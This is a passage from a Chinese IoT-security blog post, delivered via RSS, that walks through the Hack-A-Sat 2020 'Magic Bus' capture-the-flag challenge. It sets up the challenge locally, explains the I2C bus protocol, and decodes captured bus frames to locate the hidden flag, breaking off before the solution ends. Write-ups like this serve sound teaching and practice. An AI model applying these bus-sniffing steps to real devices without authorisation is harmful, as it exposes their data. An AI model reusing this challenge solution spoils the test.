<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>物联网IoT安全</title>
    <link>https://wechat2rss.xlab.app/feed/ca637daa3c408cbd4eb29972e4449809ed238374.xml</link>
    <description>我们是一个专注于物联网IOT安全 固件逆向 近源攻击 硬件破解的公众号，与我们一起学习进步。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (物联网IoT安全)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM4KblcDcv3ExVuicTAtnz1WxOQicWIUCia7UVvSC8FQoPSeA/0</url>
      <title>物联网IoT安全</title>
      <link>https://wechat2rss.xlab.app/feed/ca637daa3c408cbd4eb29972e4449809ed238374.xml</link>
    </image>
    <item>
      <title>卫星黑客挑战赛 | IIC协议破解</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247488663&amp;idx=1&amp;sn=de989a22f0410cc2fafb7e835448b0cd</link>
      <description>Hack-A-Sat 2020 预选赛 Magic Bus</description>
      <content:encoded><![CDATA[<p>
<span>yichen</span> <span>2023-09-22 18:02</span> <span style="display: inline-block;">广东</span>
</p>

<p>Hack-A-Sat 2020 预选赛 Magic Bus</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1c64b7de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fdjiam4RadAPbTKjRicx7iatJ1UXfV9ibHbOfficBSUhbreibic2Nib0BzcMFLEpSaltBAUVhtveBA3eQyT9ZNUYKCica8WA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="edit by 135editor" data-mpa-powered-by="yiban.io"><p style="text-align:center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4777777777777778" data-s="300,640" style="border-radius: 6px;width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ef40b8ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fdf1X0NvQ5KmWt5zicx5aYOicmvvnrmvhlPhvxdLO3kkYgrhB93EjURO62HibXYMWabtjoDyyOQzjZmlSvwLaItGiaw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size:15px;">题目环境见：</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/le1D2uwOTUNUOLvwkibeREicIneLhInjCtN9AX81TXgStwhyicvjN3NFJ4PdWxPwC2yHlia9yuaLqlJVepWpyLCPLkOAokbt7nLT/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><a href="https://github.com/yichen115/hackasat-qualifier-2020/tree/master/bus" target="_blank">https://github.com/yichen115/hackasat-qualifier-2020/tree/master/bus</a><br/></code></pre></section><p><span style="font-size:15px;">在搭建环境之前需要搭建一个基础环境，进入 generator-base 之后运行下列命令把基础的镜像生成出来，具体见之前的文章：<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzU5OTU3NDEzOQ==&amp;mid=2247491112&amp;idx=1&amp;sn=179713964d57e828a694b8bc80dc0125&amp;chksm=feb38d3cc9c4042a9e16132b58fb213976a594621f1cde3977c1b03787ae6099dfa8c04ed201&amp;scene=21#wechat_redirect" textvalue="HackaSat2020预选赛beckley" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">HackaSat2020预选赛beckley</a></span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/le1D2uwOTUNUOLvwkibeREicIneLhInjCtN9AX81TXgStwhyicvjN3NFJ4PdWxPwC2yHlia9yuaLqlJVepWpyLCPLkOAokbt7nLT/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">docker build -t generator-base .<br/></code></pre></section><p><span style="font-size:15px;">然后进 bus 文件夹运行 make build 把环境搭建起来，然后运行下列命令环境就启动了</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/le1D2uwOTUNUOLvwkibeREicIneLhInjCtN9AX81TXgStwhyicvjN3NFJ4PdWxPwC2yHlia9yuaLqlJVepWpyLCPLkOAokbt7nLT/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">socat -v tcp-listen:31340,reuseaddr <span style="color: #e6c07b;line-height: 26px;">exec</span>:<span style="color: #98c379;line-height: 26px;">&#34;docker run --rm -i -e SEED=1234 -e FLAG=flag{1234}  bus\:challenge&#34;</span><br/></code></pre></section><p><span style="font-size:15px;">然后 nc 172.17.0.1 31340 上去得到一堆奇怪的字符，题目描述：There&#39;s a very busy bus we&#39;ve tapped a port onto, surely there is some juicy information hidden in the device memory... somewhere...</span></p><p><img class="rich_pages wxw-img" data-ratio="0.39166666666666666" style="vertical-align: inherit;border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5ccd7eae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fdf1X0NvQ5KmWt5zicx5aYOicmvvnrmvhlPXB4UBiasHpzjxz2QyEGJn0jqAufV96QbQXYLBnuDOgaaV6YuDhAssWA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size:15px;">书上说的是通过搜索卫星常用总线协议报文格式确定了用的是 IIC，我就直接学吧，估计我搜到了也认不出来 2333</span></p><p><br/></p><section data-role="outer" label="edit by 135editor" style="margin-bottom: 24px;"><section data-role="title" data-tools="135编辑器" data-id="110560"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="width: 60px;line-height: 0;flex-shrink: 0;"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 93.71 22.73"><g><rect style="fill:#72c1f4;" width="80" height="1"></rect><polygon style="fill:#72c1f4;" points="76.27,16.4 72.52,16.4 77.99,0 81.75,0 	"></polygon><polygon style="fill:#ffae28;" points="86.19,22.73 80.55,22.73 88.07,0 93.71,0 	"></polygon></g></svg></section><section style="margin-right: 10px;margin-left: 10px;font-size: 16px;letter-spacing: 1px;color: rgb(11, 67, 209);"><strong data-brushtype="text">IIC总线协议介绍</strong></section><section style="width: 60px;line-height: 0;flex-shrink: 0;"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 94.71 22.73"><g><rect x="14.71" y="21.73" transform="matrix(-1 5.493327e-11 -5.493327e-11 -1 109.4256 44.4508)" style="fill:#72c1f4;" width="80" height="1"></rect><polygon style="fill:#72c1f4;" points="17.44,6.32 21.2,6.32 15.72,22.73 11.97,22.73 	"></polygon><polygon style="fill:#ffae28;" points="7.52,0 13.16,0 5.64,22.73 0,22.73 	"></polygon></g></svg></section></section></section></section><section data-role="paragraph"><p><span style="font-size: 15px;"><ne-clipboard source="https%3A%2F%2Fwww.yuque.com%2Fhxfqg9%2Fiot%2Fpbiaowle4wcl20mp"></ne-clipboard></span></p><section style="min-height: 24px;line-height: 1.6em;"><span style="font-size: 15px;">IIC 总线通信协议有两条线：一条叫 SDA 数据线，通过高低电平传送二进制数据；一条叫 SCL 时钟线，通过方波信号提供时钟信号。设备也是用两根线挂在总线上，每个设备都有自己的地址，来保证不同设备之间访问的准确性。总线上的通信都是由主设备发起，从设备被动响应。一般来说，谁控制着时钟线谁就作为主设备，同一时刻只能有一个主机。如果有两个或以上的设备同时请求总线，会通过冲突检测和冲裁防止总线数据被破坏</span></section><section style="min-height: 24px;text-align: center;line-height: 1.6em;"><span style="font-size: 15px;"><img class="rich_pages wxw-img" data-ratio="0.37037037037037035" style="border-radius: 6px;box-shadow: none;font-size: 17px;border-style: solid;border-width: 1px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=76ad478d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fdf1X0NvQ5KmWt5zicx5aYOicmvvnrmvhlP07dhcMQEYUn4Azqd5jcmHRnIpFUbtk6fZSOLdI5bUbn6LORM4iagp5Q%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="min-height: 24px;line-height: 1.6em;"><p style="font-size: 15px;"><br/></p></section><section style="min-height: 24px;line-height: 1.6em;"><span style="font-size: 15px;">补充方波信号：</span></section><p style="text-align:center;min-height: 24px;"><span style="font-size: 15px;"><img class="rich_pages wxw-img" data-ratio="0.6666666666666666" style="height: 296px;border-radius: 6px;border-style: solid;border-width: 1px;width: 100%;" data-type="jpeg" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=f3e026d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fdf1X0NvQ5KmWt5zicx5aYOicmvvnrmvhlPFibc578lcOX1BjgoVsjGYnckprB5MCIgYp62tmX6zwsMHB1SUyIxLVQ%2F640%3Fwx_fmt%3Djpeg"/></span></p><p style="text-align:center;min-height: 24px;"><br/></p><section data-role="title" data-tools="135编辑器" data-id="110560"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="width: 60px;line-height: 0;flex-shrink: 0;"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 93.71 22.73"><g><rect style="fill:#72c1f4;" width="80" height="1"></rect><polygon style="fill:#72c1f4;" points="76.27,16.4 72.52,16.4 77.99,0 81.75,0 	"></polygon><polygon style="fill:#ffae28;" points="86.19,22.73 80.55,22.73 88.07,0 93.71,0 	"></polygon></g></svg></section><section style="margin-right: 10px;margin-left: 10px;font-size: 16px;letter-spacing: 1px;color: rgb(11, 67, 209);"><strong data-brushtype="text">IIC通信过程与格式</strong></section><section style="width: 60px;line-height: 0;flex-shrink: 0;"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 94.71 22.73"><g><rect x="14.71" y="21.73" transform="matrix(-1 5.493327e-11 -5.493327e-11 -1 109.4256 44.4508)" style="fill:#72c1f4;" width="80" height="1"></rect><polygon style="fill:#72c1f4;" points="17.44,6.32 21.2,6.32 15.72,22.73 11.97,22.73 	"></polygon><polygon style="fill:#ffae28;" points="7.52,0 13.16,0 5.64,22.73 0,22.73 	"></polygon></g></svg></section></section></section></section><section data-role="paragraph"><p><br/></p></section><p><span style="font-size: 15px;">通信的起始信号和终止信号都是由主设备发送的，起始信号发送之后跟一个 7bit 的从设备地址和 1bit 的方向位（方向位 0 表示主设备发送数据，1 表示主设备接受数据）也叫读/写位</span></p><p><span style="font-size: 15px;">每当主设备发送完一个字节的数据后需要等待从设备给出一个应答信号，来确认从设备是不是接收到了数据</span></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="110560"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="width: 60px;line-height: 0;flex-shrink: 0;"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 93.71 22.73"><g><rect style="fill:#72c1f4;" width="80" height="1"></rect><polygon style="fill:#72c1f4;" points="76.27,16.4 72.52,16.4 77.99,0 81.75,0 	"></polygon><polygon style="fill:#ffae28;" points="86.19,22.73 80.55,22.73 88.07,0 93.71,0 	"></polygon></g></svg></section><section style="margin-right: 10px;margin-left: 10px;font-size: 16px;letter-spacing: 1px;color: rgb(11, 67, 209);"><strong data-brushtype="text">IIC主设备向从设备写数据过程</strong></section><section style="width: 60px;line-height: 0;flex-shrink: 0;"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 94.71 22.73"><g><rect x="14.71" y="21.73" transform="matrix(-1 5.493327e-11 -5.493327e-11 -1 109.4256 44.4508)" style="fill:#72c1f4;" width="80" height="1"></rect><polygon style="fill:#72c1f4;" points="17.44,6.32 21.2,6.32 15.72,22.73 11.97,22.73 	"></polygon><polygon style="fill:#ffae28;" points="7.52,0 13.16,0 5.64,22.73 0,22.73 	"></polygon></g></svg></section></section></section></section><section data-role="paragraph"><p><br/></p><p><span style="font-size: 15px;">1、主设备发送起始信号（START）</span></p><p><span style="font-size: 15px;">2、主设备发送从设备地址和方向位 0</span></p><p><span style="font-size: 15px;">3、等待从设备响应（ACK）</span></p><p><span style="font-size: 15px;">4、主设备发送数据到从设备，一般每发送一个字节会等待从设备的响应（ACK）</span></p><p><span style="font-size: 15px;">5、数据发送完毕，主设备发送停止信号（STOP）</span></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="110560"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="width: 60px;line-height: 0;flex-shrink: 0;"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 93.71 22.73"><g><rect style="fill:#72c1f4;" width="80" height="1"></rect><polygon style="fill:#72c1f4;" points="76.27,16.4 72.52,16.4 77.99,0 81.75,0 	"></polygon><polygon style="fill:#ffae28;" points="86.19,22.73 80.55,22.73 88.07,0 93.71,0 	"></polygon></g></svg></section><section style="margin-right: 10px;margin-left: 10px;font-size: 16px;letter-spacing: 1px;color: rgb(11, 67, 209);"><strong data-brushtype="text">IIC主设备从从设备读数据过程</strong></section><section style="width: 60px;line-height: 0;flex-shrink: 0;"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 94.71 22.73"><g><rect x="14.71" y="21.73" transform="matrix(-1 5.493327e-11 -5.493327e-11 -1 109.4256 44.4508)" style="fill:#72c1f4;" width="80" height="1"></rect><polygon style="fill:#72c1f4;" points="17.44,6.32 21.2,6.32 15.72,22.73 11.97,22.73 	"></polygon><polygon style="fill:#ffae28;" points="7.52,0 13.16,0 5.64,22.73 0,22.73 	"></polygon></g></svg></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-role="paragraph"><p><span style="font-size:15px;">1、主设备发送起始信号（START）</span></p><p><span style="font-size:15px;">2、主设备发送从设备地址和方向位 1</span></p><p><span style="font-size:15px;">3、等待从设备响应（ACK）</span></p><p><span style="font-size:15px;">4、主设备接收来自从设备的数据，一般每接收一个字节会向从设备发送一个相应（ACK）</span></p><p><span style="font-size:15px;">5、一般主设备接收到最后一个数据后会发送一个无效响应（NACK），然后主设备发送停止信号（STOP）</span></p><p><span style="font-size:15px;"><br/></span></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="110560"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="width: 60px;line-height: 0;flex-shrink: 0;"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 93.71 22.73"><g><rect style="fill:#72c1f4;" width="80" height="1"></rect><polygon style="fill:#72c1f4;" points="76.27,16.4 72.52,16.4 77.99,0 81.75,0 	"></polygon><polygon style="fill:#ffae28;" points="86.19,22.73 80.55,22.73 88.07,0 93.71,0 	"></polygon></g></svg></section><section style="margin-right: 10px;margin-left: 10px;font-size: 16px;letter-spacing: 1px;color: rgb(11, 67, 209);"><strong data-brushtype="text">解题过程</strong></section><section style="width: 60px;line-height: 0;flex-shrink: 0;"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 94.71 22.73"><g><rect x="14.71" y="21.73" transform="matrix(-1 5.493327e-11 -5.493327e-11 -1 109.4256 44.4508)" style="fill:#72c1f4;" width="80" height="1"></rect><polygon style="fill:#72c1f4;" points="17.44,6.32 21.2,6.32 15.72,22.73 11.97,22.73 	"></polygon><polygon style="fill:#ffae28;" points="7.52,0 13.16,0 5.64,22.73 0,22.73 	"></polygon></g></svg></section></section></section></section><section data-role="paragraph"><p><br/></p><p><span style="font-size:15px;">对输出数据简单的处理一下，发现是根据 ^ 和 . 来区分每一段数据的，那么 ^ 就是 IIC 的 START 信号，. 就是 IIC 的 STOP 信号</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/le1D2uwOTUNUOLvwkibeREicIneLhInjCtN9AX81TXgStwhyicvjN3NFJ4PdWxPwC2yHlia9yuaLqlJVepWpyLCPLkOAokbt7nLT/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">^82+00+00+1f+00+00+00+12+47+40+41+c6+97+e1+3f+89+81+3f+c1+99+1d+a1+c0+20+18+a1+40+5e+42+ac+3c+.<br/>^83+00+00+3f+.<br/>^82+00+00+3f+00+00+00+20+fa+3f+41+c8+da+e2+3f+a6+64+3f+c1+ff+33+a1+c0+a4+d2+a0+40+de+50+55+40+.<br/>^b4+01+c9+61+20+30+33+00+f0+28+65+f5+e6+8f+3c+ba+5b+35+28+c7+5b+8f+6d+f3+ee+a2+57+23+bb+3b+9c+f0+31+a9+ed+80+2e+42+57+.<br/>^83+00+00+1f+.<br/>^82+00+00+1f+00+00+00+1d+ec+3f+41+d8+04+e5+3f+67+4e+40+c1+38+1b+a1+c0+e1+dd+a0+40+b9+91+91+3c+.<br/>^82+00+00+1f+00+00+00+1d+ec+3f+41+d8+04+e5+3f+67+4e+40+c1+38+1b+a1+c0+e1+dd+a0+40+b9+91+91+3c+.<br/>^83+00+00+3f+.<br/>^82+00+00+3f+00+00+00+da+81+3f+41+50+c7+e3+3f+9c+28+40+c1+77+df+a0+c0+44+1d+a0+40+7f+b7+52+40+.<br/>^b4+01+7e+5f+9a+4a+75+69+63+79+20+44+61+74+61+20+30+32+00+90+2e+f3+7b+07+99+eb+9b+43+16+a2+b1+9a+a0+2d+f9+3a+72+f7+8f+cb+d7+e3+80+43+1d+.<br/>^83+00+00+1f+.<br/>^82+00+00+1f+00+00+00+41+85+40+41+e2+7a+e1+3f+e8+28+40+c1+<span style="color: #e6c07b;line-height: 26px;">fc</span>+50+a0+c0+6e+09+9f+40+57+8c+e9+3c+.<br/>..........<br/></code></pre></section><p><span style="font-size: 15px;">START 信号结束后就跟着从设备地址和方向位了，可以看到只有三种情况 0x82、0x83、0xb4</span></p><section typography="classic"><table width="100%"><tbody><tr style="height: 33px;"><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">第一字节</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">从设备地址</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">读/写位</span></p></td></tr><tr style="height: 33px;"><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0x82</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0x41</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0 写</span></p></td></tr><tr style="height: 33px;"><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0x83</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0x41</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">1 读</span></p></td></tr><tr style="height: 33px;"><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0xb4</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0x5a</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0 写</span></p></td></tr></tbody></table><p style="font-size: 15px;"><span style="caret-color: red;letter-spacing: 0.034em;">按照这个规则我们看一下，0x83 开头的读操作内容都很少，比如：^83+00+00+1f+. 这里面必然不能含有 flag，因此可以假设这里的读写操作是与 I2C 标准相反的，那我们来梳理一下每一步都是做了什么事情</span><br/></p></section><section typography="classic"><table width="100%"><tbody><tr style="height: 33px;"><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">第一字节</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">从设备地址</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">读/写位</span></p></td></tr><tr style="height: 33px;"><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0x82</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0x41</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0 读</span></p></td></tr><tr style="height: 33px;"><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0x83</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0x41</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">1 写</span></p></td></tr><tr style="height: 33px;"><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0xb4</span></p></td><td style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;"><span style="font-size: 15px;">0x5a</span></p></td><td style="border-color: rgb(217, 217, 217);">0 读</td></tr></tbody></table></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/le1D2uwOTUNUOLvwkibeREicIneLhInjCtN9AX81TXgStwhyicvjN3NFJ4PdWxPwC2yHlia9yuaLqlJVepWpyLCPLkOAokbt7nLT/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">从0x41读取：^82+00+00+1f+00+00+00+12+47+40+41+c6+97+e1+3f+89+81+3f+c1+99+1d+a1+c0+20+18+a1+40+5e+42+ac+3c+.<br/>向0x41写入：^83+00+00+3f+.<br/>从0x41读取：^82+00+00+3f+00+00+00+20+fa+3f+41+c8+da+e2+3f+a6+64+3f+c1+ff+33+a1+c0+a4+d2+a0+40+de+50+55+40+.<br/>从0x5a读取：^b4+01+c9+61+20+30+33+00+f0+28+65+f5+e6+8f+3c+ba+5b+35+28+c7+5b+8f+6d+f3+ee+a2+57+23+bb+3b+9c+f0+31+a9+ed+80+2e+42+57+.<br/>向0x41写入：^83+00+00+1f+.<br/>从0x41读取：^82+00+00+1f+00+00+00+1d+ec+3f+41+d8+04+e5+3f+67+4e+40+c1+38+1b+a1+c0+e1+dd+a0+40+b9+91+91+3c+.<br/>从0x41读取：^82+00+00+1f+00+00+00+1d+ec+3f+41+d8+04+e5+3f+67+4e+40+c1+38+1b+a1+c0+e1+dd+a0+40+b9+91+91+3c+.<br/>向0x41写入：^83+00+00+3f+.<br/>从0x41读取：^82+00+00+3f+00+00+00+da+81+3f+41+50+c7+e3+3f+9c+28+40+c1+77+df+a0+c0+44+1d+a0+40+7f+b7+52+40+.<br/>从0x5a读取：^b4+01+7e+5f+9a+4a+75+69+63+79+20+44+61+74+61+20+30+32+00+90+2e+f3+7b+07+99+eb+9b+43+16+a2+b1+9a+a0+2d+f9+3a+72+f7+8f+cb+d7+e3+80+43+1d+.<br/>向0x41写入：^83+00+00+1f+.<br/>从0x41读取：^82+00+00+1f+00+00+00+41+85+40+41+e2+7a+e1+3f+e8+28+40+c1+<span style="color: #e6c07b;line-height: 26px;">fc</span>+50+a0+c0+6e+09+9f+40+57+8c+e9+3c+.<br/>从0x41读取：^82+00+00+1f+00+00+00+41+85+40+41+e2+7a+e1+3f+e8+28+40+c1+<span style="color: #e6c07b;line-height: 26px;">fc</span>+50+a0+c0+6e+09+9f+40+57+8c+e9+3c+.<br/>向0x41写入：^83+00+00+3f+.<br/>从0x41读取：^82+00+00+3f+00+00+00+ce+79+3f+41+5e+35+e6+3f+5d+a7+3f+c1+4c+81+a0+c0+57+75+9f+40+0b+f3+50+40+.<br/>从0x5a读取：^b4+01+93+99+eb+9b+43+16+a2+b1+9a+a0+2d+f9+3a+72+f7+8f+cb+d7+e3+80+43+1d+12+94+c7+59+78+58+87+6b+d3+8e+04+be+2a+47+d4+cc+f8+6e+6c+26+67+a6+98+5e+4a+75+69+63+79+20+44+61+74+61+20+30+33+00+f0+28+65+.<br/></code></pre></section><p><span style="caret-color: red;font-size: 15px;">总结一下规律：首先从 0x41 读取，然后向 0x41 写入 3f，然后再读取 0x41，最后读取 0x5a 的内容，根据规律可以发现  0x5a 那一部分是内容最多的，里面最有可能隐藏 flag，那这个过程可以猜测为：首先读一下 0x41 的内容看看是不是 1f，是的话向 0x41 写入 0x3f，然后再次读取确认一下，是 0x3f 的话就可以读取 0x5a 的内容了</span></p></section></section></section></section></section><p><span style="font-size:15px;">另外在题目的源码中有这么一段描述：</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, 